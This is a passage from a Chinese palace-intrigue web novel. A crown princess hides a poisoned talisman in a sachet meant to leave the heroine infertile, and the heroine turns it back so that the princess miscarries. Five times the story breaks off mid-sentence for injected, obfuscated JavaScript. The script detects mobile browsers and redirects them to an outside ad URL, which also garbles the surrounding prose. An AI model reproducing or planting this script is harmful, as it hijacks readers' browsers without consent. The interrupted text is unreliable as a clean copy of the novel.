现在不在京城,她不用顾忌这样那样的。说白点,就是她大可以放开手脚跟他们斗,看看究竟谁能活着离开济州城! 顾思沫轻笑,“被她瞪一眼而已,不碍事的。” 夜时竣望着尉迟睿他们的方向,斜着嘴鄙弃,“太子来这一趟,真是此地无银三百两!见过蠢的,没见过他这般蠢的!要是这样的人能做君王,我立马劝爹解甲归田!” “二哥!”夜时舒睇了他一眼。 “放心吧,这种话我只对你们说,我就是看不惯他们那又蠢又没有自知之明的德性!”夜时竣朝尉迟凌咧了咧嘴,“不是我说,他连王爷一根脚趾头都比不上!” 尉迟凌唇角微抽,想笑,但最终还是忍住了。 他们回了玉林院。 夜时舒正准备与他们商量点事呢,就听丫鬟在门外禀报,“王妃,骆良娣在院外求见。” “小妹,当心着些!”夜时竣忍不住提醒。 “嗯。” 夜时舒径直去了花园,让丫鬟把骆丽娴领到花园的亭子里。 “王妃,我们许久没在一起叙话了,你现在过得好吗?”骆丽娴如曾经那般温柔,只是改了对她的称呼,“方才太子和太子妃在,我不便与你招呼,你可别为此与我置气。” 夜时舒示意她坐下,微笑地道,“能嫁给承王,是我的福气。倒是骆良娣能进东宫,着实让我意外。我还以为你与魏公子能修成正果呢。” 骆丽娴不自然地僵住,美目闪烁着不敢看她。 丫鬟送来茶水,夜时舒端起茶杯抿了一口,继续微笑着说道,“骆良娣不用不好意思,男欢女爱嘛,没什么不好说的。再说了,魏公子早就当着我的面承认过了。” 骆丽娴目中闪过一丝惊讶。 淮哥哥竟然向她承认过? “不知骆良娣来找我有何要事?” “我……”得知自己与魏永淮的事被她知道后,骆丽娴倒也少了许多心虚,随即从容起来,“就是许久没见王妃了,好不容易相见,就想来找王妃说说话。不知王妃明日可有空闲,我能否邀你出去游玩?” “骆良娣这般邀约,不怕太子妃有意见?”夜时舒挑了挑眉。 “不瞒王妃,太子妃对我很是宽容,我平日里做什么她几乎不过问。” “哎呦,我都忘了,你现在不但是太子良娣,还是北蔺国遗落在外的五公主,太子妃虽然身份尊贵,但也得忌惮你公主的身份。” 骆丽娴不好意思地笑了笑,“王妃就别娶笑我了,我再是公主也已经做了太子的女人,这辈子怕是回不去北蔺国了。” 夜时舒不着痕迹地打量着她。 不得不说,骆丽娴的变化还是很大的,许是她揭穿了她与魏永淮的关系,所以她没有必要遮遮掩掩,也就显得大方了。 又或许是她有了北蔺国五公主的身份,也没必要再像以前那般处处迎合别人,气质自然而然就上去了。 “抱歉啊,我不太喜欢热闹,游玩的事你还是找太子妃吧。”她拒绝得很干脆。 “王妃……”骆丽娴双眼微红,似受伤般望着她,“我与淮哥哥的事,我知道伤了你的心,可那已经是过去的事了,你能原谅我吗?这些日子,我不但想你,还很怀念我们在一起的时光,世上的亲姐妹也没有我们要好,跟你做姐妹是我这一辈子中最幸福的事。” 夜时舒红唇勾勒,可笑意却丝毫不达眼底。 对骆丽娴而言,那些日子当然美好了。她有好吃好玩的都会与骆丽娴分享,就连未婚夫都被这个女人分享了去。 然而,对她来说,这些却是她一生的耻辱! 再想起上一世她的死不瞑目,她真想把这虚伪又阴险的女人掏心剜肺! “骆良娣,恕我直言,你我现在各为其主,不是一路人,以后还是少见面为好。”她起身欲下凉亭。 “王妃且慢!”骆丽娴快速拦住她,然后从袖中拿出一只香囊,双手捧着递给她,“这里面是我去寺庙为你求的平安符,虽然不值钱,可却是我向你赔罪的心意。” 夜时舒看着香囊,微微眯眼后,伸手接过,“既是你的心意,那我便收下吧。出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136984|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许久,骆良娣也该回太子身边了,慢走不送。” 骆丽娴望着她冷傲的背影,眸底浮起恨意。 这夜时舒的变化,当真是与从前判若两人! 她之前听魏永淮说起的时候还不太相信,毕竟她与魏永淮从小相识,既有婚约在身,又有青梅竹马的情义,怎么可能说不喜欢就不喜欢? 如今看来,魏永淮真是没说谎,夜时舒真是看重了承王妃的身份! 想到什么,她脸色阴暗起来,眉眼中多了一丝反感和无奈。 太子妃让她找机会多与夜时舒走动,这事说起来简单,可做起来却是让人无比恼火! 看看夜时舒现在对她的态度,还怎么走动? 她还看不惯夜时舒恨不得把她除掉呢,可容易吗? 回到南面芙蓉院。 祝华凝见她回来,面无表情地问道,“与她谈得如何?” “回太子妃,夜时舒如今对我提防得很,就连我邀她出去游玩都被她拒绝了。” “你就没想别的办法讨好她?你们之前不是关系要好吗?不论怎样都不该如此冷漠!”祝华凝不满地瞪着她。 骆丽娴低下头,说道,“不瞒太子妃,夜时舒如今的变化很大,实在让人不好接近。不过您放心,您让我交给她的东西我已经给她了,且她也收了。” 闻言,祝华凝的脸色这才有所好转。 …… 而另一边。 见夜时舒拿着一只鲜艳的香囊,夜时竣立马抢了过去,“小妹,这哪来的?” “骆丽娴送的。” “……!”夜时竣愣了一下,接着就拿给顾思沫看,“芯儿,你快瞧瞧,这香囊是否有问题?” 顾思沫接过香囊,先是放在鼻下闻了闻,摇头道,“没问出什么问题。” 她随即双手呈给尉迟凌,“王爷,要不您瞧瞧?” 尉迟凌接过香囊,也没闻出什么,随即让夜时舒拿剪刀来,把香囊剪开,从里面取出一张黄纸。 看着黄纸上的生辰八字,夜时舒瞬间一脸黑。 这不是她的生辰八字吗? 第167章 来而不往非礼也 顾思沫偏着头想了想,“如果真是替小妹祈福,是该写小妹的生辰八字。可那骆丽娴是跟着太子混的,真能有这份好心?” 夜时竣咬着牙道,“管她有没有好心,只要是他们给的东西,统统喂狗!” 顾思沫忍不住拿手肘撞了他一下,“说什么胡话呢,这东西能喂狗吗?狗也不是傻的,什么都吃!” 夜时竣,“……” 夜时舒被他俩逗笑了,将黄纸拿给尉迟凌。 尉迟凌接过黄纸,翻来覆去地细看。 黄纸看着正常,但用指腹磨搓,像是涂过浆糊般,又一层薄薄的黏糊的东西。除此外,用朱砂写的字没发现什么异样。 “王爷,可是很难看出什么?”夜时舒问道。 “单是从表现看,没什么可疑的。” 夜时舒认真思考起来,突然一拍脑门,“要不烧掉试试呢?” 夜时竣和顾思沫停止了打闹。 夜时舒认真说起自己的想法,“我把香囊拿回来,肯定要怀疑这香囊有问题,然后把香囊剪开,拿出里面的黄纸……这几步没错,可按正常情况,看到黄纸上有自己的生辰八字,第一时间就该把它烧掉。” 她话音落下,尉迟凌便接着道,“舒儿说的没错,这香囊和黄纸看着并无问题,但这黄纸是用特殊药水浸泡过,纸上有朱砂,一旦接触到火,两者相融便会散发出剧烈的毒性。” 夜时竣听得目瞪口呆,拿过黄纸小心翼翼地查看起来,憎恨道,“他们也真是厉害,算准了我们不信任他们,所以想了这么个办法对付我们!哼!敢对我家小妹使坏,我便以其人之道还治其人之身,就拿这黄符之毒毒死姓骆的!”看毒不死他们!” “二哥,不可!”夜时舒赶紧出声阻止他的想法,“那骆丽娴是北蔺国五公主,听说北蔺国使节会来认亲,且现在正在来大邺国的路上。如果我们把骆丽娴杀了,便是明目张胆地挑衅北蔺国,两国势必会发生恶战。” “嗯,小妹说的对。”顾思沫附和道。 夜时舒接着道,“你们想想,为何太子和太子妃会把骆丽娴带来济州?骆丽娴那样的身份,若是死在我们手上,我们可不仅仅是**的罪名!这香囊是骆丽娴给我的不假,但香囊里面的东西应该跟骆丽娴无关。” “那我们现在该怎么办?总不能什么都不做吧?那几个东西,怎么得也该给他们点教训!”夜时竣一脸愤恨。 夜时舒笑道,“哪可能什么都不做,你们瞧着吧,我会让他们好看的!” …… 翌日。 夜时舒提着一只布袋去了芙蓉院。 “皇嫂,舒儿来给你请安了。” 许是她从未主动找过自己,所以祝华凝面对她时表情显得有些僵。特别是看到她腰间摇晃的香囊时,眼中更是有一丝暗色划过。 “弟妹怎么一个人来,二弟呢?”她强挤着友善的微笑问道。 “皇嫂是知道的,王爷性子闷,有他在,我们说话都不尽兴,所以我便没让他来。”夜时舒说完,故意拨弄了一下腰间的香囊,“皇嫂,你看我这只香囊漂亮吗?” “是挺漂亮的。”祝华凝赞许地点了点头。 “这是骆良娣为我去寺院求来的,王爷和我都觉得好漂亮。”夜时舒说完,朝门边候着的丫鬟问道,“骆良娣呢?快把她叫过来,我有东西要给她!” “是。”丫鬟应声退了出去。 夜时舒仿佛没看到祝华凝眼中的不悦,自顾自地把玩着腰间的香囊。 不多时,骆良娣来到花厅。 夜时舒从座上起身,扶起行礼的她,笑着说道,“骆良娣,你昨日送我的香囊我很喜欢,但王爷说来而不往非礼也,一定要我给你回礼。我琢磨着,你现在是太子良娣也不缺珠宝首饰,不如我亲手做香囊,如此才能显出我的诚意。” 她说着话打开带来的布袋,从里面拿出一只香囊塞到骆丽娴手中。 骆丽娴瞪眼看着手中香囊,都不知道该摆什么表情了,她压根不相信夜时舒会如此好心…… 夜时舒又从布袋拿出一只,然后走到祝华凝面前,亲切地说道,“皇嫂,这只香囊是给你的。骆良娣以前是我的姐妹,现在又给你做了姐妹,而你是我的嫂子,算来算去,我们三个都是姐妹,我不能厚此薄彼。骆良娣有的,皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136985|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫂自然也该有。” 看着她递来的红色香囊,祝华凝的脸瞬间浮出一丝青色。 夜时舒眨眨眼,不解地问她,“皇嫂,你是嫌弃吗?可这是我一晚上绣出来的,你要是不收下,我会难过的!” 说完她还真瘪起了嘴,仿佛下一刻便要哭给祝华凝看。 祝华凝抓过香囊,然后起身道,“多谢弟妹的心意,我想起还有事,就不陪你了。” 目送她急步离开花厅,夜时舒唇角暗暗勾了勾。 见骆丽娴僵站着,她又走到骆丽娴面前,拿过骆丽娴手中的香囊系在骆丽娴腰间,“虽然我这只香囊不如骆良娣送我的有意义,但这也是我的心意,希望骆良娣别嫌弃。” 骆丽娴强挤出笑,“王妃亲自做的,我怎敢嫌弃?” “好了,我出来好一会儿了,也该回玉林院了。” “那我送送王妃。” “不用不用。”夜时舒摆了摆手,麻溜离开了花厅。 等她一走,骆丽娴低下头,一把扯掉腰间的香囊,然后快速去了祝华凝的卧房。 果不其然,祝华凝一脸怒火,而夜时舒给她的那只香囊已经被她扔在地上。 “太子妃……” 祝华凝目光凌厉地瞪向她,“你给本宫说说,这到底怎么回事?为何送给她的香囊她还好端端地戴在身上?” 骆丽娴不解地皱起眉,“她不能戴在身上吗?” 祝华凝瞬间被噎住! 她是让骆丽娴把香囊送给夜时舒,但香囊的秘密只有她知道。她不可能告诉骆丽娴,她要借她的手去对付夜时舒。 深深地吸了一口气,她看着地上变了形的香囊,又看了看骆丽娴手中的香囊,一道算计立马从脑海中浮现。 随即她夺过骆丽娴手中的香囊,并把地上的香囊捡了起来,然后交给自己的大宫女,在其耳边低语了几句。 大宫女带着两只香囊出去了。 …… 午后。 夜时舒正和顾思沫在房里说悄悄话,芙蓉院做事的丫鬟火急火燎地跑来禀报,“王妃,不好了,骆良娣出事了!听说是您给的香囊有问题,太子妃让您赶紧过去!” 第168章 太子妃小产了 夜时舒和顾思沫交换了一下眼神,都暗暗地偷笑。 尉迟凌和夜时竣在隔壁屋子下棋,听到声音,也快速过来。 四人随着丫鬟前去芙蓉院。 此时芙蓉院里,除了尉迟睿、祝华凝、魏永淮以及他们的丫鬟小厮外,闵强也来了,还有一名大夫正在骆丽娴的房里为她诊脉。 见到他们四人到来,尉迟睿指着夜时舒便怒斥,“承王妃,你好大的胆子,竟敢在香囊里下毒加害太子妃和良娣!” 夜时舒惊讶不已,“在香囊里下毒?皇兄,你可别乱说,我好心赠送皇嫂和骆良娣香囊,怎么会在香囊里下毒呢?” 尉迟睿走到桌边,抓起一只香囊就朝她狠狠掷去,恨不得拿香囊砸死她,“你不承认是吧?那你自己好好闻闻!顺便叫你身边的华神医帮着看看,看我们是否污蔑了你?” 夜时舒精准地接住香囊。 只是不等她闻,华芯便快一步把香囊拿去了,然后朝门口走了两步,借着门外的太阳光举着仔细地瞧了起来。 不多时,她拿着香囊走到尉迟睿面前,回道,“太子殿下,民女已经查看过了,这只香囊没有任何问题。” 尉迟睿勃然大怒,“你敢当着本宫的面颠倒黑白?” 祝华凝冷着脸道,“华神医,别以为你是神医就可以不顾事实颠倒黑白!方才大夫已经看过了,这两只香囊就是被人涂抹了**,而骆良娣因为佩戴了香囊已致昏迷,本宫因为没佩戴所以才逃过一劫!”说完,她指着大夫补充道,“这可是闵管家请的大夫!” 夜时舒从顾思沫手中又拿过香囊,走到那大夫面前,递给大夫,“有劳你再看看,这香囊真的有毒吗?” 虽然先前已经看过,但碍于他们的身份都得罪不起,大夫不得不重新检查起来。 所有人的目光不约而同地投向他。 夜时舒走到桌边,将另一只香囊再拿给顾思沫。顾思沫跟刚才一样,拿着香囊到门口光线好的地方举着瞧了瞧,然后交给大夫,让他一并检查。 夜时竣生怕有人要对付顾思沫似的,拉着顾思沫站到了尉迟凌身后。 “这……”大夫检查完两只香囊后,神色变得古怪起来,张着嘴的他甚至不知道该如何说话了。 “刘大夫,怎么了?”闵强好奇地问道。 “这……两只香囊没有问题……”大夫吞吞吐吐道。 “……!”尉迟睿和祝华凝唰地变了脸。 尉迟睿上前,指着香囊怒问,“你方才不是说香囊有毒,骆良娣是闻了香囊上的毒才昏倒的吗?” 大夫再次检查了一遍香囊,最后不得不肯定地道,“回太子殿下,兴许是小的先前看错了,这两只香囊真的没问题。” 这一下,换尉迟凌不满了,“皇兄、皇嫂,你们可真会无中生有!舒儿为了做这两只香囊半宿都没合眼,你们怎好意思污蔑她?” 祝华凝死死咬着牙,不敢置信地瞪着大夫手上的香囊。 她身侧的大宫女脸色比她更难看,激动地脱口道,“这两只香囊不可能没毒……” “闭嘴!”祝华凝扭头猛喝。 大宫女惊恐又及时地收住了声。 夜时舒看着她们主仆的样子,冷笑道,“皇嫂,你的人如此笃定这香囊有毒,该不会她知道什么内情吧?” 祝华凝目光射向尉迟凌身后露出半道身影的顾思沫,眯着美目道,“先前大夫分明检查出这两只香囊有毒,现在再查却什么也没有。这香囊除了承王妃碰过外,方才华神医也都碰过,莫非是华神医做了什么手脚?还是说华神医趁我们不注意,将两只香囊偷换了?” 顾思沫从尉迟凌身后走出,正色回道,“民女虽学过一些医术,但自认为还没到见毒解毒的境界。如果太子妃说民女偷梁换柱,那便请太子妃搜身吧。” 祝华凝就等着她这句话呢!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136986|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>然而,还不等她下令让大宫女搜顾思沫的身,大夫便对她说道,“太子妃娘娘,这两只香囊没有被调换过,这香囊上的针线跟先前的一模一样。” 说着他指了指香囊上的针线接口。 祝华凝和尉迟睿听得更是火冒三丈,可偏偏现在情势逆转,让他们完全找不到反驳的点。 大夫转身看了看床上晕迷的骆丽娴,皱着眉说道,“许是骆良娣碰了别的东西**。” 尉迟凌看向闵强,冷声道,“强叔,大夫是你请来的,事情经过你也都看在眼中,往后若有人拿此事针对王妃和华神医,还请你务必为她们作证。” 闵强点了点头。 没人知道,其实他都看迷糊了。 他肯定大夫不会说谎,但那两只香囊突然从有毒变无毒,这也太诡异了…… 但国公爷提醒过他,不管怎样都要保护好承王和承王妃! “皇兄、皇嫂,这里没我们的事,恕我们不奉陪了!”尉迟凌冷声说完,牵起夜时舒的手便头也不回地离开。 夜时竣也赶紧带着顾思沫跟上。 留下尉迟睿和祝华凝你瞪我、我瞪你,都恨不得吐血。 …… 夜晚。 祝华凝正要入睡。 突然闻到一股异味。 她不安地起身,四下查看。 结果在窗台下发现一小撮纸灰—— “唔!”还不等她查看那纸灰是什么,肚子传来绞痛,她痛苦不已地朝门外唤道,“青翠——” 大宫女听到声音推门进来,见她捂着肚子都快站不住了,吓得惊叫跑上去,“太子妃!您怎么了?” “本宫……本宫的孩儿……” “来人啊!快叫大夫!”青翠恐慌地扯开喉咙大喊。 …… 主院。 闵文骞喝了药准备休息。 闵强慌张地来报,“国公爷,不好了,太子妃小产了!” “太子妃?小产?” 第169章 给本宫的皇儿偿命! “国公爷,千真万确!大夫和稳婆都去了芙蓉院,太子妃的确小产了!”闵强沉重地点头。 闵文骞激动得差点从床上跳下去,“为何太子妃怀孕没人知道?她怀了身子还跑来济州,安的是什么心?” 此时的他不是同情太子妃小产,而是恼怒太子妃动机不纯! 寻常人家怀着子嗣也不会乱跑,她祝华凝是太子妃,身份贵重,怀的子嗣更贵重,却跑来离京数百里的国公府,还在他国公府小产,这不是赤裸裸地坑害他国公府吗? “国公爷……”见他摇摇晃晃随时要翻白眼,闵强吓得赶忙叫人,“来人啊,快去叫承王!” 他喊声刚落,尉迟凌便走了进来。 闵强立马红了眼眶,着急哀求,“王爷,您快来看看,我家国公爷……” 尉迟凌上前坐上床头,将闵文骞枯瘦的身体揽入怀中,接着将一粒药丸喂进闵文骞嘴里,并示意闵强,“拿水来!” “诶诶……”闵强跑到桌边麻利地倒了一杯水。 闵文骞喝了半杯水后,气息总算有所恢复。 尉迟凌在他耳边低沉道,“国公爷,不论听到什么,一律不用理会。” 闵文骞抓着他手腕,揪心道,“太子妃她……她怀的可是皇室长孙……如今在我国公府出事……我……我难辞其咎啊!” “她是咎由自取。”尉迟凌一边抚着他心口为他顺气,一边冷若冰霜地与他说道,“她用符纸意图让王妃绝嗣,本王不过是将符纸还给她而已。” “什么?她要让王妃绝嗣?”闵文骞双瞳大睁。 尉迟凌也不想他们被瞒在鼓中惶惶不安,便向他们道出了昨日骆丽娴赠送夜时舒香囊的事,然后也解释了今日那两只香囊为何会从有毒变无毒。 “今日那两只香囊,不过是王妃为了恶心太子妃和良娣,其实并无毒。而大夫查出的毒,是太子妃所为,目的就是污蔑王妃。” “王妃早猜到她会如此,所以在华芯检查香囊时用早就准备好的两只一模一样的香囊将有毒香囊换掉,让他们哑口无言。” 今日之事闵强全看在眼中,本来还觉得诡异,此刻恍然大悟。 只是,他很不解,“王爷,王妃为何要如此做?” 尉迟凌沉着脸道,“太子和太子妃身边摆在那,王妃与本王也不可能直接对他们下手。他们的为人,惯会行污蔑嫁祸之事,王妃如此做,除了恶心他们外,也想让他们留多案底。再发生这样的事,即便他们做得天衣无缝,但他们有前科在身,也不会让人轻易信服。” 闵文骞心疼地看着他,“凌儿,他们到底让你吃了多少苦头?” 尉迟凌拿枕头靠在他后背,又把被褥往他身上拉了拉,然后起身,负手而立,说道,“苦头是本王自己要吃的,只不过澜贵妃与太子并不满意,他们想要的是本王的命,让这世上再无本王。这次太子来济州,看似是冲本王和王妃来的,多半是来取国公爷性命的。” “他们……他们已经偷了你的人生,为何还要对我赶尽杀绝?”闵文骞惊骇不已。他以为太子和太子妃前来,是阻止他和承王相认…… 尉迟凌眸光深沉地注视着他,不答反问,“国公爷可信本王说的?” “自然!”闵文骞回得鉴定,没有一丝迟疑。 “那为了国公爷安全起见,本王需国公爷配合,提前离开济州。” “……” …… 玉林院。 顾思沫知道今晚有戏看,便和衣而睡。夜时竣上床,不由分说便给她脱。 “你干什么呀?说不定一会儿就得出去!”顾思沫红着脸想打他。 “那种热闹有什么好看的?”夜时竣压着她,不满地哼道,“睡觉不比看热闹香?” “唔唔!” 顾思沫的唇被他封住,只能象征性地拍打他的肩臂。 换做以前的话,哪里有热闹,夜时竣绝对是头一个凑上去的。可现在不同了,有了媳妇,还圆了房,温香软玉在怀,还有什么比抱着媳妇亲亲我我更香? “二嫂!你睡了吗?” 听到门外的声音,顾思沫赶紧抓住夜时竣的手。 夜时竣无语地从她身上翻下去,臭着脸朝门外回了句,“来了!” 他嘴上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136987|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说‘来了’,可一点要去开门的意思都没有。 顾思沫朝他的亵裤瞄了一眼,立马明白过来,于是红着脸跳下床,再把他往床里推,然后拉下床幔,再去开门。 “小妹。” “二嫂,二哥在房里?”夜时舒随口问道。 “他……他说累了,歇下了。”顾思沫都不好意思看她。 “他一天什么事都没做,哪门子累啊?”夜时舒忍不住朝房里望去,喊道,“二哥,听说芙蓉院还请了稳婆,你确定不去看热闹?” 她话音刚落,夜时竣便从床幔里露出脑袋,惊讶不已地问道,“请稳婆做什么?” 夜时舒道,“王爷说,太子妃极有可能怀了身孕!” “什么?太子妃怀了身孕?”夜时竣一听,好奇的劲儿立马来了。然而他低头看了一眼,顿时耳根发烫,冲门外说道,“你们去外面等着,我更完衣就来!” 顾思沫都恨不得找个缝钻进去。 早告诉他别乱来别乱来,偏不听! 尉迟凌从主院回来,夜时竣也刚好从房里跑出来。 随即四人去了芙蓉院。 看到他们,尉迟睿直接拔出剑,满眼杀意地指着尉迟凌,低吼道,“害死本宫孩儿,我要你们偿命!” 尉迟凌非但没避开,反而飞身迎上去,对着他手腕就是一脚! 尉迟睿吃痛,手中的利剑飞了出去。 尉迟凌落在他面前,又是一记掌风击出。 尉迟睿双脚离地,四脚朝天地落下。 狼狈至极! “你……你敢对本宫动手?”他捂着心口狰狞地瞪着尉迟凌,恨不得长出獠牙咬死尉迟凌。 尉迟凌走过去,站在他面前,居高临下地看着他,薄唇勾起讥笑,“你敢对本王拔剑,本王还不能还手?” 尉迟睿怒吼,“尉迟凌,本宫的孩儿没有了,你等着,本宫定要上报父皇,叫你们给本宫的孩儿偿命!” 尉迟凌‘嗤’地笑出声,“明知有了皇嗣还跑几百里到济州?皇嫂腹中的孩子难道不是你们自己折腾掉的?要本王偿命,本王做什么了,需要给你的孩子偿命?” 第170章 不能再生养了 “你……你……”尉迟睿铁青着脸,但又一句话都吐不完整。 “皇兄平日里刁难我们,看在手足的份上,我们也就忍了,不同你一般见识。但没想到皇兄针对我们夫妻越发没有分寸,连皇嫂怀孕小产都能怪罪到我们头上。知道的当你是这大邺国尊贵无比的储君,不知道的还以为你是大邺国的笑话呢!”尉迟凌讥讽得更是没留一丝情面。 一旁的魏永淮上前将尉迟睿从地上扶起,向尉迟凌解释道,“承王殿下,太子殿下是因为太子妃小产心痛过度才失去理智。” 尉迟凌冷笑,“皇兄有那个精力,不如好好陪伴皇嫂休养,争取早日生下皇长孙。” 说完,他转身对夜时舒他们三个说道,“走吧,回玉林院休息!” 夜时舒还有点失望,毕竟没看到祝华凝的惨样,真是可惜了! 目送他们远去,魏永淮将尉迟睿扶进了他的房间,又去隔壁大夫那里问了跌打的伤药。 回到尉迟睿身边,他小心翼翼地道,“殿下,微臣帮您上药吧?” 尉迟睿一把夺过药瓶,嫌恶道,“出去!叫青翠过来给本宫上药!” “是。”魏永淮卑躬着身退出了门外。 祝华凝就在隔壁的房中。 稳婆给她检查过,确定她腹中的孩子没了,她一时受不了刺激便晕**过去。 青翠听到尉迟睿叫他,赶忙过去。 “太子妃醒了吗?” “回殿下,太子妃还未醒。”青翠如实禀道,“大夫说,太子妃这一胎本就不易,眼下小产,很是伤身,将来想再怀上子嗣恐怕更加艰难。” “什么?”尉迟睿震惊得脸色惨白。 他还盼着皇长孙出世好稳固他的储君之位呢! 现在不仅没了孩子,以后想怀孕还更加艰难…… 这叫他如何能接受? “你给本宫说说,太子妃说的纸灰是如何回事?” “回殿下,太子妃原本为承王妃准备了一张黄符,只要承王妃烧掉那张黄符,闻了毒烟,承王妃此生便与子嗣绝缘。太子妃不让告诉您,也是不想您操心,可哪知道,太子妃竟然在自己房里看到了那张黄符,还被人烧成了灰烬,太子妃是闻到了毒烟才致使小产的……”青翠越说越小声,最后低着头不敢看他。 “尉迟凌!夜时舒!”尉迟睿咬牙低吼,“本宫一定要宰了你们!” 他的孩儿…… 他第一个孩子…… 三个月都不到就这样没了…… 而另一边屋子里。 因为骆丽娴今日香囊**的事还在休养,便没有去祝华凝的房中。 魏永淮被尉迟睿喝退后,趁着没人注意便溜进了她房里。 得知祝华凝小产,骆丽娴忍不住冷笑,“真是活该!她以为她是太子妃便无所不能了,整天嫌这个没用、嫌那个废物,她自己又有多少能耐?” 魏永淮在她耳边低声说了几句。 骆丽娴一听,惊诧道,“真的假的?她不能再有身孕了?” 魏永淮点头,“大夫说的是她孕育子嗣艰难,但我偷偷问过大夫,大夫说她再难怀孕,只是怕被降罪,所以才不敢把话说太绝。” 骆丽娴掩嘴轻笑,“呵呵!堂堂一国太子妃竟然不能生养,这要是传出去,还不知道会被人如何嘲笑呢!” “娴儿,我有个想法,不知你可愿意?”魏永淮突然搂住她,在她耳上轻咬的同时也说出了自己的主意,“不如我们……” 骆丽娴听后,沉默起来。 太子妃不能生养,这对她来说也算是一件好事。 如果她能为太子生下长子…… 不过想到什么,她为难地皱起眉,“太子是知道我们关系的,我若说怀了他的孩子,他能接受?” 魏永淮哼笑,“他贵为储君,没有子嗣,那这储君之位能坐得了多久?趁他为此事头痛时,只要你怀上了,那不管是谁的孩子,对他而言都是有利的。” 骆丽娴勾住他的脖子,主动偎进他怀中,“那你可得努力,别让他等太久了……” 她不想再做被人呼来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136988|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唤去的奴隶。 她要彻底翻身。 把祝华凝狠狠踩在脚下。 虽然面前这个男人她已经厌倦了,可到底在生孩子的事上还有几分作用。 待她有了孩子,再有北蔺国做靠山,就算是尉迟睿这个太子都不敢拿她怎样!到那时,她要让这些给过她**的人通通不得好死! …… 祝华凝醒来,哭得泣不成声,悲痛欲绝。 “太子妃,您别难过,大夫说哭多了会伤身子的。”青翠忍不住安慰她。 “本宫的孩儿……就……就这么没了……” “太子妃,大夫说只要您养好身子,早晚会再怀上的。”青翠违心地道。 “再怀上?”祝华凝抬起双眼,含泪的目光如同蘸了毒一样凌厉地瞪着房门,“夜时舒那**,本宫定要她不得好死!” 她没想到那张黄符会被夜时舒利用反过来对付她…… 她成亲两载好不容易怀上这一胎,竟然就被夜时竣那**害没了…… “太子妃,大夫开了调理的方子,奴婢这就把药端来您喝。” “夜时舒他们今晚可来过?”祝华凝咬着牙问道。 “来过。太子本想替你出气的,但承王身手太好,太子险些被承王打成重伤。” “这个废物!连替本宫出头的能耐都没有,真是无用至极!” “太子妃,您别再生气了,眼下当以身子为重。”青翠继续劝说道。 “哼!” 祝华凝眯着眼,心中发起狠誓的同时也在思考着如何报仇。 “青翠,国公爷那边有派人来吗?” “回太子妃,闵管家来过,但国公爷据说太过虚弱,不便前来。” “那老东西,也不知道是真严重还是有意避事!青翠,明日起你多去主院走动,务必与主院的人打理好关系!” “太子妃,您是想?” “本宫和太子这一趟不是来游玩的!如今他们害本宫失去孩儿,本宫何须再忍?本宫要他们通通给本宫未出世的孩儿陪葬!” 第171章 要孩子?今晚熬个夜? 玉林院。 夜时竣喊着累,拉着顾思沫就回房了。 夜时舒白眼翻得飞起。 爹爹又不急着抱孙子,多说会儿话又能耽误什么? “我们也歇了吧。”尉迟凌牵着她径直往他们卧房去。 “王爷,他们恨死我们了,今晚肯定通宵想办法对付我们,你就不好奇他们接下来要做什么吗?”夜时舒哪睡得着,她想的是杀个回马枪去偷看尉迟睿和祝华凝,盯紧他们的举动。 